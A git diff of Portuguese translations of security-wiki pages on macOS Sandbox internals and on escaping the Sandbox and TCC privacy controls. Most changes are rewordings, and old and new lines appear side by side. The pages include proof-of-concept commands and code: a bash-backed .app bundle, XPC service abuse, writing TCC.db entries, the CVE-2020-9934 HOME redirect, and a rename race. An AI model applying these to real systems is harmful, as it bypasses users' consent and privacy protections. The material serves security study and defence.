@ -342,7 +342,7 @@ A chamada da função `___sandbox_ms` envolve `mac_syscall`, indicando no primei
- **check_bulk (#21)**: Realiza várias operações `sandbox_check` em uma única chamada.
- **reference_retain_by_audit_token (#28)**: Cria uma referência para um token de auditoria para uso em verificações de sandbox.
- **reference_release (#29)**: Libera uma referência de token de auditoria previamente retida.
- **rootless_allows_task_for_pid (#30)**: Verifica se `task_for_pid` é permitido (semelhante a verificações `csr`).
- **rootless_allows_task_for_pid (#30)**: Verifica se `task_for_pid` é permitido (semelhante às verificações `csr`).
- **rootless_whitelist_push (#31)**: (macOS) Aplica um arquivo de manifesto de Proteção de Integridade do Sistema (SIP).
- **rootless_whitelist_check (preflight) (#32)**: Verifica o arquivo de manifesto SIP antes da execução.
- **rootless_protected_volume (#33)**: (macOS) Aplica proteções SIP a um disco ou partição.
@ -358,11 +358,11 @@ Observe que no iOS a extensão do kernel contém **todos os perfis codificados**
### MACF Hooks
**`Sandbox.kext`** usa mais de uma centena de hooks via MACF. A maioria dos hooks apenas verifica alguns casos triviais que permitem realizar a ação; se não, eles chamarão **`cred_sb_evalutate`** com as **credenciais** do MACF e um número correspondente à **operação** a ser realizada e um **buffer** para a saída.
**`Sandbox.kext`** usa mais de uma centena de hooks via MACF. A maioria dos hooks apenas verifica alguns casos triviais que permitem realizar a ação; caso contrário, eles chamarão **`cred_sb_evalutate`** com as **credenciais** do MACF e um número correspondente à **operação** a ser realizada e um **buffer** para a saída.
Um bom exemplo disso é a função **`_mpo_file_check_mmap`** que conecta **`mmap`** e que começará a verificar se a nova memória será gravável (e se não, permitirá a execução), em seguida, verificará se está sendo usada para o cache compartilhado do dyld e, se sim, permitirá a execução, e finalmente chamará **`sb_evaluate_internal`** (ou um de seus wrappers) para realizar verificações adicionais de permissão.
Além disso, entre os centenas de hooks que a Sandbox usa, há 3 em particular que são muito interessantes:
Além disso, dos centenas de hooks que a Sandbox usa, há 3 em particular que são muito interessantes:
- `mpo_proc_check_for`: Aplica o perfil se necessário e se não foi aplicado anteriormente.
- `mpo_vnode_check_exec`: Chamado quando um processo carrega o binário associado, então uma verificação de perfil é realizada e também uma verificação que proíbe execuções SUID/SGID.

31
src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/macos-sandbox-debug-and-bypass/README.md
View File

@ -15,16 +15,16 @@ Finalmente, o sandbox será ativado com uma chamada para **`__sandbox_ms`** que
## Possíveis Bypasses
### Ignorando o atributo de quarentena
### Contornando o atributo de quarentena
**Arquivos criados por processos em sandbox** recebem o **atributo de quarentena** para evitar a fuga do sandbox. No entanto, se você conseguir **criar uma pasta `.app` sem o atributo de quarentena** dentro de um aplicativo em sandbox, você poderá fazer o binário do pacote do aplicativo apontar para **`/bin/bash`** e adicionar algumas variáveis de ambiente no **plist** para abusar do **`open`** para **iniciar o novo aplicativo sem sandbox**.
**Arquivos criados por processos em sandbox** recebem o **atributo de quarentena** para evitar a fuga do sandbox. No entanto, se você conseguir **criar uma pasta `.app` sem o atributo de quarentena** dentro de um aplicativo em sandbox, você poderá fazer o binário do pacote do aplicativo apontar para **`/bin/bash`** e adicionar algumas variáveis de ambiente no **plist** para abusar do **`open`** e **lançar o novo aplicativo sem sandbox**.
Isso foi o que foi feito em [**CVE-2023-32364**](https://gergelykalman.com/CVE-2023-32364-a-macOS-sandbox-escape-by-mounting.html)**.**
> [!CAUTION]
> Portanto, no momento, se você for capaz de criar uma pasta com um nome terminando em **`.app`** sem um atributo de quarentena, você pode escapar do sandbox porque o macOS apenas **verifica** o **atributo de quarentena** na **pasta `.app`** e no **executável principal** (e nós apontaremos o executável principal para **`/bin/bash`**).
>
> Note que se um pacote .app já foi autorizado a ser executado (ele tem um xttr de quarentena com a flag de autorizado a executar ativada), você também poderia abusar disso... exceto que agora você não pode escrever dentro de pacotes **`.app`** a menos que tenha algumas permissões privilegiadas do TCC (que você não terá dentro de um sandbox alto).
> Note que se um pacote .app já foi autorizado a ser executado (ele tem um xttr de quarentena com a flag de autorizado a executar ativada), você também pode abusar disso... exceto que agora você não pode escrever dentro de pacotes **`.app`** a menos que tenha algumas permissões TCC privilegiadas (que você não terá dentro de um sandbox alto).
### Abusando da funcionalidade Open
@ -34,18 +34,18 @@ Nos [**últimos exemplos de bypass do sandbox do Word**](macos-office-sandbox-by
macos-office-sandbox-bypasses.md
{{#endref}}
### Agentes/Daemons de Lançamento
### Launch Agents/Daemons
Mesmo que um aplicativo seja **destinado a ser sandboxed** (`com.apple.security.app-sandbox`), é possível contornar o sandbox se ele for **executado a partir de um LaunchAgent** (`~/Library/LaunchAgents`), por exemplo.\
Como explicado em [**este post**](https://www.vicarius.io/vsociety/posts/cve-2023-26818-sandbox-macos-tcc-bypass-w-telegram-using-dylib-injection-part-2-3?q=CVE-2023-26818), se você quiser obter persistência com um aplicativo que está em sandbox, você poderia fazê-lo ser executado automaticamente como um LaunchAgent e talvez injetar código malicioso via variáveis de ambiente DyLib.
Como explicado em [**este post**](https://www.vicarius.io/vsociety/posts/cve-2023-26818-sandbox-macos-tcc-bypass-w-telegram-using-dylib-injection-part-2-3?q=CVE-2023-26818), se você quiser obter persistência com um aplicativo que está em sandbox, você pode fazê-lo ser executado automaticamente como um LaunchAgent e talvez injetar código malicioso via variáveis de ambiente DyLib.
### Abusando de Locais de Início Automático
### Abusando de Locais de Auto Início
Se um processo em sandbox puder **escrever** em um lugar onde **mais tarde um aplicativo sem sandbox vai executar o binário**, ele poderá **escapar apenas colocando** lá o binário. Um bom exemplo desse tipo de locais são `~/Library/LaunchAgents` ou `/System/Library/LaunchDaemons`.
Se um processo em sandbox pode **escrever** em um lugar onde **mais tarde um aplicativo sem sandbox vai executar o binário**, ele poderá **escapar apenas colocando** lá o binário. Um bom exemplo desse tipo de locais são `~/Library/LaunchAgents` ou `/System/Library/LaunchDaemons`.
Para isso, você pode precisar até de **2 etapas**: Fazer um processo com um **sandbox mais permissivo** (`file-read*`, `file-write*`) executar seu código que realmente escreverá em um lugar onde será **executado sem sandbox**.
Verifique esta página sobre **Locais de Início Automático**:
Verifique esta página sobre **Locais de Auto Início**:
{{#ref}}
../../../../macos-auto-start-locations.md
@ -59,11 +59,11 @@ Se a partir do processo em sandbox você conseguir **comprometer outros processo
../../../macos-proces-abuse/
{{#endref}}
### Serviços Mach do Sistema e do Usuário Disponíveis
### Serviços Mach disponíveis do Sistema e do Usuário
O sandbox também permite comunicar-se com certos **serviços Mach** via XPC definidos no perfil `application.sb`. Se você conseguir **abusar** de um desses serviços, poderá **escapar do sandbox**.
Como indicado neste [escrito](https://jhftss.github.io/A-New-Era-of-macOS-Sandbox-Escapes/), as informações sobre serviços Mach estão armazenadas em `/System/Library/xpc/launchd.plist`. É possível encontrar todos os serviços Mach do Sistema e do Usuário pesquisando dentro desse arquivo por `<string>System</string>` e `<string>User</string>`.
Como indicado [neste writeup](https://jhftss.github.io/A-New-Era-of-macOS-Sandbox-Escapes/), as informações sobre serviços Mach estão armazenadas em `/System/Library/xpc/launchd.plist`. É possível encontrar todos os serviços Mach do Sistema e do Usuário pesquisando dentro desse arquivo por `<string>System</string>` e `<string>User</string>`.
Além disso, é possível verificar se um serviço Mach está disponível para um aplicativo em sandbox chamando o `bootstrap_look_up`:
```objectivec
@ -103,7 +103,7 @@ Outra maneira de encontrar serviços xpc válidos é verificar aqueles em:
find /System/Library/Frameworks -name "*.xpc"
find /System/Library/PrivateFrameworks -name "*.xpc"
```
Vários exemplos abusando dessa técnica podem ser encontrados no [**escrito original**](https://jhftss.github.io/A-New-Era-of-macOS-Sandbox-Escapes/), no entanto, a seguir estão alguns exemplos resumidos.
Vários exemplos abusando dessa técnica podem ser encontrados na [**escrita original**](https://jhftss.github.io/A-New-Era-of-macOS-Sandbox-Escapes/), no entanto, a seguir estão alguns exemplos resumidos.
#### /System/Library/PrivateFrameworks/StorageKit.framework/XPCServices/storagekitfsrunner.xpc
@ -130,7 +130,7 @@ NSLog(@"run task result:%@, error:%@", bSucc, error);
```
#### /System/Library/PrivateFrameworks/AudioAnalyticsInternal.framework/XPCServices/AudioAnalyticsHelperService.xpc
Este serviço XPC permitia que cada cliente sempre retornasse YES e o método `createZipAtPath:hourThreshold:withReply:` basicamente permitia indicar o caminho para uma pasta a ser compactada e ela será compactada em um arquivo ZIP.
Este serviço XPC permitia que qualquer cliente sempre retornasse YES e o método `createZipAtPath:hourThreshold:withReply:` basicamente permitia indicar o caminho para uma pasta a ser compactada e ela seria compactada em um arquivo ZIP.
Portanto, é possível gerar uma estrutura de pasta de aplicativo falsa, compactá-la, depois descompactá-la e executá-la para escapar do sandbox, já que os novos arquivos não terão o atributo de quarentena.
@ -207,7 +207,7 @@ NSLog(@"Read the target content:%@", [NSData dataWithContentsOfURL:targetURL]);
[**Esta pesquisa**](https://saagarjha.com/blog/2020/05/20/mac-app-store-sandbox-escape/) descobriu 2 maneiras de contornar o Sandbox. Como o sandbox é aplicado a partir do userland quando a biblioteca **libSystem** é carregada. Se um binário puder evitar carregá-la, ele nunca será sandboxed:
- Se o binário for **completamente compilado estaticamente**, ele poderá evitar carregar essa biblioteca.
- Se o binário for **completamente compilado estaticamente**, ele poderá evitar o carregamento dessa biblioteca.
- Se o **binário não precisar carregar nenhuma biblioteca** (porque o linker também está em libSystem), ele não precisará carregar libSystem.
### Shellcodes
@ -232,7 +232,7 @@ echo '#!/bin/sh\n touch /tmp/sbx' > /tmp/poc.app/Contents/MacOS/poc
chmod +x /tmp/poc.app/Contents/MacOS/poc
open /tmp/poc.app
```
No entanto, é claro que esse novo processo não herdará direitos ou privilégios do processo pai.
No entanto, é claro que este novo processo não herdará direitos ou privilégios do processo pai.
### Direitos
@ -250,6 +250,7 @@ Observe que, mesmo que algumas **ações** possam ser **permitidas pelo sandbox*
Para mais informações sobre **Interposição**, consulte:
{{#ref}}
../../../macos-proces-abuse/macos-function-hooking.md
{{#endref}}
@ -373,7 +374,7 @@ codesign -s <cert-name> --entitlements entitlements.xml sand
```
> [!CAUTION]
> O aplicativo tentará **ler** o arquivo **`~/Desktop/del.txt`**, que o **Sandbox não permitirá**.\
> Crie um arquivo lá, pois uma vez que o Sandbox seja contornado, ele poderá lê-lo:
> Crie um arquivo lá, pois uma vez que o Sandbox for contornado, ele poderá lê-lo:
>
> ```bash
> echo "Sandbox Bypassed" > ~/Desktop/del.txt

33
src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/README.md
View File

@ -4,7 +4,7 @@
## **Informações Básicas**
**TCC (Transparência, Consentimento e Controle)** é um protocolo de segurança que se concentra na regulação das permissões de aplicativos. Seu papel principal é proteger recursos sensíveis como **serviços de localização, contatos, fotos, microfone, câmera, acessibilidade e acesso total ao disco**. Ao exigir consentimento explícito do usuário antes de conceder acesso do aplicativo a esses elementos, o TCC melhora a privacidade e o controle do usuário sobre seus dados.
**TCC (Transparência, Consentimento e Controle)** é um protocolo de segurança que se concentra na regulação das permissões de aplicativos. Seu papel principal é proteger recursos sensíveis como **serviços de localização, contatos, fotos, microfone, câmera, acessibilidade e acesso total ao disco**. Ao exigir o consentimento explícito do usuário antes de conceder acesso do aplicativo a esses elementos, o TCC melhora a privacidade e o controle do usuário sobre seus dados.
Os usuários encontram o TCC quando os aplicativos solicitam acesso a recursos protegidos. Isso é visível através de um prompt que permite aos usuários **aprovar ou negar o acesso**. Além disso, o TCC acomoda ações diretas do usuário, como **arrastar e soltar arquivos em um aplicativo**, para conceder acesso a arquivos específicos, garantindo que os aplicativos tenham acesso apenas ao que é explicitamente permitido.
@ -12,7 +12,7 @@ Os usuários encontram o TCC quando os aplicativos solicitam acesso a recursos p
**TCC** é gerenciado pelo **daemon** localizado em `/System/Library/PrivateFrameworks/TCC.framework/Support/tccd` e configurado em `/System/Library/LaunchDaemons/com.apple.tccd.system.plist` (registrando o serviço mach `com.apple.tccd.system`).
Há um **tccd em modo de usuário** em execução por usuário logado definido em `/System/Library/LaunchAgents/com.apple.tccd.plist` registrando os serviços mach `com.apple.tccd` e `com.apple.usernotifications.delegate.com.apple.tccd`.
Há um **tccd em modo usuário** em execução por usuário logado definido em `/System/Library/LaunchAgents/com.apple.tccd.plist` registrando os serviços mach `com.apple.tccd` e `com.apple.usernotifications.delegate.com.apple.tccd`.
Aqui você pode ver o tccd rodando como sistema e como usuário:
```bash
@ -44,7 +44,7 @@ As permissões concedidas/negadas são então armazenadas em alguns bancos de da
> [!TIP]
> O banco de dados TCC em **iOS** está em **`/private/var/mobile/Library/TCC/TCC.db`**.
> [!NOTE]
> [!TIP]
> A **interface do centro de notificações** pode fazer **alterações no banco de dados TCC do sistema**:
>
> ```bash
@ -153,7 +153,7 @@ Basta fazer **`launctl load you_bin.plist`**, com um plist como:
- O **`auth_value`** pode ter diferentes valores: denied(0), unknown(1), allowed(2) ou limited(3).
- O **`auth_reason`** pode assumir os seguintes valores: Error(1), User Consent(2), User Set(3), System Set(4), Service Policy(5), MDM Policy(6), Override Policy(7), Missing usage string(8), Prompt Timeout(9), Preflight Unknown(10), Entitled(11), App Type Policy(12)
- O campo **csreq** está presente para indicar como verificar o binário a ser executado e conceder as permissões do TCC:
- O campo **csreq** está lá para indicar como verificar o binário a ser executado e conceder as permissões do TCC:
```bash
# Query to get cserq in printable hex
select service, client, hex(csreq) from access where auth_value=2;
@ -186,7 +186,7 @@ tccutil reset All
```
### Verificações de Assinatura do TCC
O **banco de dados** do TCC armazena o **Bundle ID** da aplicação, mas também **armazena** **informações** sobre a **assinatura** para **garantir** que o App que solicita o uso de uma permissão é o correto.
O **banco de dados** do TCC armazena o **Bundle ID** do aplicativo, mas também **armazena** **informações** sobre a **assinatura** para **garantir** que o aplicativo que solicita o uso de uma permissão é o correto.
```bash
# From sqlite
sqlite> select service, client, hex(csreq) from access where auth_value=2;
@ -203,8 +203,8 @@ csreq -t -r /tmp/telegram_csreq.bin
### Direitos e Permissões TCC
Os aplicativos **não precisam apenas** **solicitar** e ter **acesso concedido** a alguns recursos, eles também precisam **ter os direitos relevantes**.\
Por exemplo, **Telegram** tem o direito `com.apple.security.device.camera` para solicitar **acesso à câmera**. Um **aplicativo** que **não tiver** esse **direito não poderá** acessar a câmera (e o usuário nem será solicitado a dar as permissões).
Os aplicativos **não apenas precisam** **solicitar** e ter **acesso concedido** a alguns recursos, eles também precisam **ter os direitos relevantes**.\
Por exemplo, **Telegram** tem o direito `com.apple.security.device.camera` para solicitar **acesso à câmera**. Um **aplicativo** que **não** tem esse **direito não poderá** acessar a câmera (e o usuário nem será solicitado a dar as permissões).
No entanto, para que os aplicativos **acessam** **certas pastas do usuário**, como `~/Desktop`, `~/Downloads` e `~/Documents`, eles **não precisam** ter nenhum **direito específico.** O sistema lidará com o acesso de forma transparente e **pedirá ao usuário** conforme necessário.
@ -219,7 +219,7 @@ codesign -dv --entitlements :- /System/Applications/Calendar.app
<string>kTCCServiceAddressBook</string>
</array>
```
Isso evitará que o Calendar peça ao usuário para acessar lembretes, calendário e a lista de contatos.
Isso evitará que o Calendário peça ao usuário para acessar lembretes, calendário e a lista de contatos.
> [!TIP]
> Além de alguma documentação oficial sobre permissões, também é possível encontrar **informações interessantes não oficiais sobre permissões em** [**https://newosxbook.com/ent.jl**](https://newosxbook.com/ent.jl)
@ -234,7 +234,7 @@ Algumas permissões do TCC são: kTCCServiceAppleEvents, kTCCServiceCalendar, kT
### Intenção do Usuário / com.apple.macl
Como mencionado anteriormente, é possível **conceder acesso a um App a um arquivo arrastando e soltando-o nele**. Esse acesso não será especificado em nenhum banco de dados do TCC, mas como um **atributo** **estendido** **do arquivo**. Este atributo irá **armazenar o UUID** do app permitido:
Como mencionado anteriormente, é possível **conceder acesso a um App a um arquivo arrastando e soltando-o nele**. Esse acesso não será especificado em nenhum banco de dados do TCC, mas como um **atributo estendido do arquivo**. Este atributo irá **armazenar o UUID** do aplicativo permitido:
```bash
xattr Desktop/private.txt
com.apple.macl
@ -249,18 +249,18 @@ Filename,Header,App UUID
otool -l /System/Applications/Utilities/Terminal.app/Contents/MacOS/Terminal| grep uuid
uuid 769FD8F1-90E0-3206-808C-A8947BEBD6C3
```
> [!NOTE]
> [!TIP]
> É curioso que o atributo **`com.apple.macl`** é gerenciado pelo **Sandbox**, não pelo tccd.
>
> Também note que se você mover um arquivo que permite o UUID de um aplicativo no seu computador para outro computador, porque o mesmo aplicativo terá UIDs diferentes, não concederá acesso a esse aplicativo.
O atributo estendido `com.apple.macl` **não pode ser limpo** como outros atributos estendidos porque é **protegido pelo SIP**. No entanto, como [**explicado neste post**](https://www.brunerd.com/blog/2020/01/07/track-and-tackle-com-apple-macl/), é possível desativá-lo **compactando** o arquivo, **deletando**-o e **descompactando**-o.
O atributo estendido `com.apple.macl` **não pode ser limpo** como outros atributos estendidos porque é **protegido pelo SIP**. No entanto, como [**explicado neste post**](https://www.brunerd.com/blog/2020/01/07/track-and-tackle-com-apple-macl/), é possível desativá-lo **zipando** o arquivo, **deletando**-o e **deszipando**-o.
## TCC Privesc & Bypasses
### Inserir no TCC
Se em algum momento você conseguir obter acesso de gravação a um banco de dados TCC, pode usar algo como o seguinte para adicionar uma entrada (remova os comentários):
Se em algum momento você conseguir acesso de gravação a um banco de dados TCC, pode usar algo como o seguinte para adicionar uma entrada (remova os comentários):
<details>
@ -361,7 +361,7 @@ EOD
Você poderia abusar disso para **escrever seu próprio banco de dados TCC de usuário**.
> [!WARNING]
> Com esta permissão, você poderá **pedir ao Finder para acessar pastas restritas do TCC** e lhe dar os arquivos, mas até onde sei, você **não poderá fazer o Finder executar código arbitrário** para abusar totalmente do acesso FDA dele.
> Com esta permissão, você poderá **pedir ao Finder para acessar pastas restritas do TCC** e lhe fornecer os arquivos, mas até onde sei, você **não poderá fazer o Finder executar código arbitrário** para abusar totalmente do seu acesso FDA.
>
> Portanto, você não poderá abusar de todas as habilidades do FDA.
@ -400,7 +400,7 @@ O mesmo acontece com o **Script Editor app**, ele pode controlar o Finder, mas u
### Automação (SE) para algum TCC
**System Events pode criar Ações de Pasta, e Ações de Pasta podem acessar algumas pastas do TCC** (Desktop, Documents & Downloads), então um script como o seguinte pode ser usado para abusar desse comportamento:
**Eventos do Sistema podem criar Ações de Pasta, e Ações de Pasta podem acessar algumas pastas do TCC** (Desktop, Documents & Downloads), então um script como o seguinte pode ser usado para abusar desse comportamento:
```bash
# Create script to execute with the action
cat > "/tmp/script.js" <<EOD
@ -514,13 +514,13 @@ Mas você pode **dar a si mesmo** **`direitos de Automação ao Finder`**, e abu
**Acesso Completo ao Disco** é o nome do TCC **`kTCCServiceSystemPolicyAllFiles`**
Eu não acho que isso seja uma verdadeira privesc, mas só para o caso de você achar útil: Se você controlar um programa com FDA, você pode **modificar o banco de dados TCC dos usuários e dar a si mesmo qualquer acesso**. Isso pode ser útil como uma técnica de persistência caso você possa perder suas permissões de FDA.
Eu não acho que isso seja uma verdadeira privesc, mas só para o caso de você achar útil: Se você controla um programa com FDA, você pode **modificar o banco de dados TCC dos usuários e se dar qualquer acesso**. Isso pode ser útil como uma técnica de persistência caso você possa perder suas permissões de FDA.
### **Bypass de SIP para Bypass de TCC**
O **banco de dados TCC** do sistema é protegido por **SIP**, por isso apenas processos com as **autorizações indicadas poderão modificá-lo**. Portanto, se um atacante encontrar um **bypass de SIP** sobre um **arquivo** (conseguir modificar um arquivo restrito por SIP), ele poderá:
- **Remover a proteção** de um banco de dados TCC e dar a si mesmo todas as permissões TCC. Ele poderia abusar de qualquer um desses arquivos, por exemplo:
- **Remover a proteção** de um banco de dados TCC e se dar todas as permissões TCC. Ele poderia abusar de qualquer um desses arquivos, por exemplo:
- O banco de dados do sistema TCC
- REG.db
- MDMOverrides.plist
@ -556,6 +556,7 @@ AllowApplicationsList.plist:
```
### Bypasses do TCC
{{#ref}}
macos-tcc-bypasses/
{{#endref}}

44
src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/macos-tcc-bypasses/README.md
View File

@ -20,7 +20,7 @@ O **atributo estendido `com.apple.macl`** é adicionado ao novo **arquivo** para
### TCC ClickJacking
É possível **colocar uma janela sobre o prompt do TCC** para fazer o usuário **aceitar** sem perceber. Você pode encontrar um PoC em [**TCC-ClickJacking**](https://github.com/breakpointHQ/TCC-ClickJacking)**.**
É possível **colocar uma janela sobre o prompt do TCC** para fazer o usuário **aceitá-lo** sem perceber. Você pode encontrar um PoC em [**TCC-ClickJacking**](https://github.com/breakpointHQ/TCC-ClickJacking)**.**
<figure><img src="broken-reference" alt=""><figcaption><p><a href="https://github.com/breakpointHQ/TCC-ClickJacking/raw/main/resources/clickjacking.jpg">https://github.com/breakpointHQ/TCC-ClickJacking/raw/main/resources/clickjacking.jpg</a></p></figcaption></figure>
@ -39,7 +39,7 @@ Mais informações e PoC em:
### Bypass SSH
Por padrão, o acesso via **SSH costumava ter "Acesso Completo ao Disco"**. Para desativar isso, você precisa tê-lo listado, mas desativado (removê-lo da lista não removerá esses privilégios):
Por padrão, o acesso via **SSH costumava ter "Acesso Total ao Disco"**. Para desativar isso, você precisa tê-lo listado, mas desativado (removê-lo da lista não removerá esses privilégios):
![](<../../../../../images/image (1077).png>)
@ -48,11 +48,11 @@ Aqui você pode encontrar exemplos de como alguns **malwares conseguiram contorn
- [https://www.jamf.com/blog/zero-day-tcc-bypass-discovered-in-xcsset-malware/](https://www.jamf.com/blog/zero-day-tcc-bypass-discovered-in-xcsset-malware/)
> [!CAUTION]
> Note que agora, para poder habilitar o SSH, você precisa de **Acesso Completo ao Disco**
> Note que agora, para poder habilitar o SSH, você precisa de **Acesso Total ao Disco**
### Manipulação de extensões - CVE-2022-26767
O atributo **`com.apple.macl`** é dado a arquivos para dar a **um determinado aplicativo permissões para lê-lo.** Este atributo é definido ao **arrastar e soltar** um arquivo sobre um aplicativo, ou quando um usuário **clica duas vezes** em um arquivo para abri-lo com o **aplicativo padrão**.
O atributo **`com.apple.macl`** é dado a arquivos para conceder a **certo aplicativo permissões para lê-lo.** Este atributo é definido ao **arrastar e soltar** um arquivo sobre um aplicativo, ou quando um usuário **clica duas vezes** em um arquivo para abri-lo com o **aplicativo padrão**.
Portanto, um usuário poderia **registrar um aplicativo malicioso** para manipular todas as extensões e chamar os Serviços de Lançamento para **abrir** qualquer arquivo (assim, o arquivo malicioso terá acesso para lê-lo).
@ -74,13 +74,13 @@ Para mais informações sobre Apple Scripts, confira:
macos-apple-scripts.md
{{#endref}}
Por exemplo, se um aplicativo tem **permissão de Automação sobre `iTerm`**, por exemplo, neste exemplo **`Terminal`** tem acesso ao iTerm:
Por exemplo, se um aplicativo tem **permissão de Automação sobre `iTerm`**, por exemplo, neste exemplo **`Terminal`** tem acesso sobre iTerm:
<figure><img src="../../../../../images/image (981).png" alt=""><figcaption></figcaption></figure>
#### Sobre iTerm
Terminal, que não tem FDA, pode chamar o iTerm, que tem, e usá-lo para realizar ações:
Terminal, que não tem FDA, pode chamar iTerm, que tem, e usá-lo para realizar ações:
```applescript:iterm.script
tell application "iTerm"
activate
@ -112,10 +112,10 @@ do shell script "rm " & POSIX path of (copyFile as alias)
### CVE-2020–9934 - TCC <a href="#c19b" id="c19b"></a>
O **daemon tccd** do espaço do usuário estava usando a variável de ambiente **`HOME`** para acessar o banco de dados de usuários do TCC em: **`$HOME/Library/Application Support/com.apple.TCC/TCC.db`**
O **daemon tccd** do userland estava usando a variável de ambiente **`HOME`** para acessar o banco de dados de usuários do TCC em: **`$HOME/Library/Application Support/com.apple.TCC/TCC.db`**
De acordo com [este post do Stack Exchange](https://stackoverflow.com/questions/135688/setting-environment-variables-on-os-x/3756686#3756686) e porque o daemon TCC está sendo executado via `launchd` dentro do domínio do usuário atual, é possível **controlar todas as variáveis de ambiente** passadas para ele.\
Assim, um **atacante poderia definir a variável de ambiente `$HOME`** em **`launchctl`** para apontar para um **diretório controlado**, **reiniciar** o **daemon TCC**, e então **modificar diretamente o banco de dados TCC** para se conceder **todas as permissões TCC disponíveis** sem nunca solicitar ao usuário final.\
Assim, um **atacante poderia definir a variável de ambiente `$HOME`** no **`launchctl`** para apontar para um **diretório controlado**, **reiniciar** o daemon **TCC** e então **modificar diretamente o banco de dados TCC** para se conceder **todas as permissões TCC disponíveis** sem nunca solicitar ao usuário final.\
PoC:
```bash
# reset database just in case (no cheating!)
@ -145,7 +145,7 @@ $> ls ~/Documents
```
### CVE-2021-30761 - Notas
Notas tinham acesso a locais protegidos pelo TCC, mas quando uma nota é criada, ela é **criada em um local não protegido**. Assim, você poderia pedir para notas copiarem um arquivo protegido em uma nota (ou seja, em um local não protegido) e então acessar o arquivo:
Notas tinha acesso a locais protegidos pelo TCC, mas quando uma nota é criada, ela é **criada em um local não protegido**. Assim, você poderia pedir para notas copiar um arquivo protegido em uma nota (então em um local não protegido) e depois acessar o arquivo:
<figure><img src="../../../../../images/image (476).png" alt=""><figcaption></figcaption></figure>
@ -160,13 +160,13 @@ Era possível adicionar o atributo de quarentena a "Library", chamar o serviço
**`Music`** tem um recurso interessante: Quando está em execução, ele **importa** os arquivos arrastados para **`~/Music/Music/Media.localized/Automatically Add to Music.localized`** para a "biblioteca de mídia" do usuário. Além disso, chama algo como: **`rename(a, b);`** onde `a` e `b` são:
- `a = "~/Music/Music/Media.localized/Automatically Add to Music.localized/myfile.mp3"`
- `b = "~/Music/Music/Media.localized/Automatically Add to Music.localized/Not Added.localized/2023-09-25 11.06.28/myfile.mp3`
- `b = "~/Music/Music/Media.localized/Automatically Add to Music.localized/Not Added.localized/2023-09-25 11.06.28/myfile.mp3"`
Esse **`rename(a, b);`** comportamento é vulnerável a uma **Condição de Corrida**, pois é possível colocar dentro da pasta `Automatically Add to Music.localized` um arquivo **TCC.db** falso e então, quando a nova pasta (b) é criada para copiar o arquivo, deletá-lo e apontá-lo para **`~/Library/Application Support/com.apple.TCC`**/.
Esse comportamento **`rename(a, b);`** é vulnerável a uma **Condição de Corrida**, pois é possível colocar dentro da pasta `Automatically Add to Music.localized` um arquivo **TCC.db** falso e então, quando a nova pasta (b) é criada para copiar o arquivo, deletá-lo e apontá-lo para **`~/Library/Application Support/com.apple.TCC`**/.
### SQLITE_SQLLOG_DIR - CVE-2023-32422
Se **`SQLITE_SQLLOG_DIR="path/folder"`** basicamente significa que **qualquer db aberto é copiado para esse caminho**. Neste CVE, esse controle foi abusado para **escrever** dentro de um **banco de dados SQLite** que será **aberto por um processo com FDA o banco de dados TCC**, e então abusar de **`SQLITE_SQLLOG_DIR`** com um **symlink no nome do arquivo** para que, quando aquele banco de dados for **aberto**, o usuário **TCC.db é sobrescrito** com o aberto.\
Se **`SQLITE_SQLLOG_DIR="path/folder"`** basicamente significa que **qualquer db aberto é copiado para esse caminho**. Neste CVE, esse controle foi abusado para **escrever** dentro de um **banco de dados SQLite** que vai ser **aberto por um processo com FDA o banco de dados TCC**, e então abusar de **`SQLITE_SQLLOG_DIR`** com um **symlink no nome do arquivo** para que, quando aquele banco de dados for **aberto**, o usuário **TCC.db é sobrescrito** com o que foi aberto.\
**Mais info** [**na descrição**](https://gergelykalman.com/sqlol-CVE-2023-32422-a-macos-tcc-bypass.html) **e** [**na palestra**](https://www.youtube.com/watch?v=f1HA5QhLQ7Y&t=20548s).
### **SQLITE_AUTO_TRACE**
@ -185,7 +185,7 @@ Esta **variável de ambiente é usada pelo framework `Metal`** que é uma depend
Definindo o seguinte: `MTL_DUMP_PIPELINES_TO_JSON_FILE="path/name"`. Se `path` for um diretório válido, o bug será acionado e podemos usar `fs_usage` para ver o que está acontecendo no programa:
- um arquivo será `open()`ado, chamado `path/.dat.nosyncXXXX.XXXXXX` (X é aleatório)
- um ou mais `write()`s escreverão o conteúdo no arquivo (não controlamos isso)
- uma ou mais `write()`s escreverão o conteúdo no arquivo (não controlamos isso)
- `path/.dat.nosyncXXXX.XXXXXX` será `renamed()` para `path/name`
É uma gravação de arquivo temporário, seguida por um **`rename(old, new)`** **que não é seguro.**
@ -195,7 +195,7 @@ Não é seguro porque precisa **resolver os caminhos antigos e novos separadamen
> [!CAUTION]
> Então, basicamente, se um processo privilegiado estiver renomeando de uma pasta que você controla, você poderia ganhar um RCE e fazer com que ele acesse um arquivo diferente ou, como neste CVE, abrir o arquivo que o aplicativo privilegiado criou e armazenar um FD.
>
> Se o renomear acessar uma pasta que você controla, enquanto você tiver modificado o arquivo de origem ou tiver um FD para ele, você muda o arquivo (ou pasta) de destino para apontar para um symlink, assim você pode escrever sempre que quiser.
> Se o renomear acessar uma pasta que você controla, enquanto você modificou o arquivo de origem ou tem um FD para ele, você muda o arquivo (ou pasta) de destino para apontar para um symlink, assim você pode escrever sempre que quiser.
Este foi o ataque no CVE: Por exemplo, para sobrescrever o `TCC.db` do usuário, podemos:
@ -206,7 +206,7 @@ Este foi o ataque no CVE: Por exemplo, para sobrescrever o `TCC.db` do usuário,
- capturar o `open()` de `/Users/hacker/tmp/.dat.nosyncXXXX.XXXXXX` (X é aleatório)
- aqui também `open()` este arquivo para escrita e segurar o descritor de arquivo
- trocar atomicamente `/Users/hacker/tmp` com `/Users/hacker/ourlink` **em um loop**
- fazemos isso para maximizar nossas chances de sucesso, já que a janela de corrida é bastante estreita, mas perder a corrida tem desvantagens negligenciáveis
- fazemos isso para maximizar nossas chances de sucesso, pois a janela de corrida é bastante estreita, mas perder a corrida tem desvantagens negligenciáveis
- esperar um pouco
- testar se tivemos sorte
- se não, executar novamente do início
@ -263,7 +263,7 @@ Plugins são códigos extras geralmente na forma de bibliotecas ou plist, que se
O aplicativo `/System/Library/CoreServices/Applications/Directory Utility.app` tinha a permissão **`kTCCServiceSystemPolicySysAdminFiles`**, carregava plugins com extensão **`.daplug`** e **não tinha o runtime** endurecido.
